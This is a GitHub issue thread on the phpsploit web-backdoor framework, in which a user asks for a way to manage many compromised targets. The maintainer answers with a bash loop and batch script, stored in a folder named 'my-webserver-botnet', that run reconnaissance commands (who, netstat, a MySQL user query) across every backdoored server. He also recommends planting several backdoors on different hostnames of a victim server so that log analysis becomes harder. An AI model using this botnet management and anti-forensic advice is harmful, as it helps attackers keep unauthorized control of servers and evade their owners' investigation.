Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature request: database connection #37

Open
tristandostaler opened this issue Aug 6, 2016 · 4 comments
Open

Feature request: database connection #37

tristandostaler opened this issue Aug 6, 2016 · 4 comments

Comments

@tristandostaler
Copy link

I was thinking that it would be interesting if the script had a databse and when we register targets it store them in it. Then we can list the targets with an ID and then select a target by ID. We could also be able to send a command to all the targets.

@nil0x42
Copy link
Owner

nil0x42 commented Aug 9, 2016

i ll meditate about this possibility ..

therefore there are some workarounds to do what you want:
for example, if you store your sessions in the same directory, you can script with bash, e.g:

FILE: ~/my-webserver-botnet/run.sh

#/bin/bash

session_dir="`dirname $0`"
batch="$session_dir/batch.phpsploit"
for session in $session_dir/*.session; do
    phpsploit -l "$session" -e "exploit; source $batch"
done

FILE: ~/my-webserver-botnet/batch.phpsploit

# display current target
set TARGET

# display info about who is connected in the machine
lrun 'echo "######## Connected people""'
run 'who'

lrun 'echo "######## Listening services (netstat -tlnp):"'
run netstat -tlnp

lrun 'echo "######## Remote mysql user""'
mysql 'select user()'

@nil0x42
Copy link
Owner

nil0x42 commented Aug 9, 2016

you must note that a TARGET doesn't necessarly represents a remote server.
for example, my personnal use case is to consider a phpsploit session file as a server access.
and, for stealth purposes, i use to specify more than 1 target for each session (you can use set TARGET + to put more than one target, and one of them will be randomly picked-up any time you run a command)

To clearify, if my remote server hosts victim.com, blog.victim.com and also xyz.org, i use to put one (or more) phpsploit backdoors in each of them, so i can set a lot of different phpsploit entry points, in different hostnames, making more difficult any log analysis.

for more infos:

phpsploit -e 'help set'

@tristandostaler
Copy link
Author

I'll look into all that soon! Thanks!

@nil0x42
Copy link
Owner

nil0x42 commented Jan 15, 2019

I don't plan to implement database, therefore your use case (and my answer) revealed an advanced use-case that should be documented for next release.

@nil0x42 nil0x42 added this to the Release 3.1 milestone Jan 15, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants